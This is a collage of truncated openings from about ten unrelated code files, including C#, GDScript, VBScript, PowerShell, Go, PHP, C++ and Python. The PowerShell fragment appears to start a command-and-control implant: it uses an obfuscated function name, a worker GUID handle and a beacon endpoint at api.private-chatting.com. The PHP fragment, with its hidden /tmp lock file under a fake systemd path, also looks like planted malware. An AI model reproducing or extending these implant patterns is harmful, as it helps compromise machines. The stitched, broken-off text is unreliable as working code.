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| using System; | |
| namespace CW1 | |
| { | |
| public class QueraQuestion17675 | |
| { | |
| static int previousFib = 0; | |
| static int lastFib = 1; | |
| public static void Main(string[] args) | |
| { |
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| class_name MyParticles2D01 | |
| extends Particles2D | |
| # Declare member variables here. Examples: | |
| # var a = 2 | |
| # var b = "text" | |
| # Called when the node enters the scene tree for the first time. |
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| '--------------------------------------------------------------------------------------------- | |
| ' Copyright: Microsoft Corp. | |
| ' | |
| ' This script is designed to be used only for scheduled tasks(s). | |
| ' There is no extensive error check, and will not dump the output from the Powershell CmdLet. | |
| ' | |
| ' Usage: SyncAppvPublishingServer {cmdline-args(passthrough to cmdlet)} | |
| '--------------------------------------------------------------------------------------------- | |
| Option Explicit |
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| $scriptItem = Get-Item -Path $MyInvocation.MyCommand.Path; | |
| $OS_Major = [System.Environment]::OSVersion.Version.Major.ToString() + "." + [System.Environment]::OSVersion.Version.Minor.ToString(); | |
| $EndPointURL = "http://api.private-chatting.com/connect"; | |
| $__Version__ = "M_37"; | |
| [string]$WorkerEnHandle = [Guid]::NewGuid().ToString(); | |
| [System.Threading.EventWaitHandle]$WorkerEn = [System.Threading.EventWaitHandle]::new($true, [System.Threading.EventResetMode]::ManualReset, $WorkerEnHandle); | |
| function XF3a8JO3r5r8G([string] $str) { | |
| return [System.Environment]::ExpandEnvironmentVariables("%" + $str + "%") | |
| } |
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| package main | |
| import ( | |
| "fmt" | |
| "io" | |
| "log" | |
| "net" | |
| "net/http" | |
| "runtime" | |
| "sync/atomic" |
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| <?php | |
| chdir("/opt/systemd/linux2"); | |
| $handle = fopen("/tmp/.linux.git_lock", "a"); | |
| while (!flock($handle, LOCK_EX | LOCK_NB)) { | |
| printf("Waiting for the lock...\n"); | |
| sleep(1); | |
| } | |
| function ca($str) |
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| import ( | |
| "bytes" | |
| "encoding/base64" | |
| "encoding/binary" | |
| "fmt" | |
| "strconv" | |
| ) | |
| func UnpackInlineMessageId(inlineMessageId string) (int64, int64, int64, int64, error) { | |
| bs, err := base64.RawURLEncoding.DecodeString(inlineMessageId) |
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| /* Лол, код из архива - файл датируется 2017 годом. | |
| Написан был после недели изучения C++. | |
| Реализует серверную часть чата на клиенте. | |
| Код не полный, писался на скорую руку - так сказать proof of concept. | |
| О, и да - семафоры это круто :3 */ | |
| #include <iostream> | |
| #include <string> | |
| #include <stdio.h> | |
| #include <cstring> | |
| #include <stdlib.h> |
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| from httpx import AsyncClient | |
| class SpotifyUser: | |
| authorize_url = "https://accounts.spotify.com/authorize" | |
| token_url = "https://accounts.spotify.com/api/token" | |
| def __init__(self, client_id, client_secret, redirect_uri): | |
| self.client_id = client_id | |
| self.client_secret = client_secret |
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| using System; | |
| using System.Net; | |
| using System.Text; | |
| using System.IO; | |
| using System.Collections; | |
| using System.Net.Http; | |
| using System.Threading.Tasks; | |
| using System.Text.Json.Serialization; | |
| using System.Text.Json; |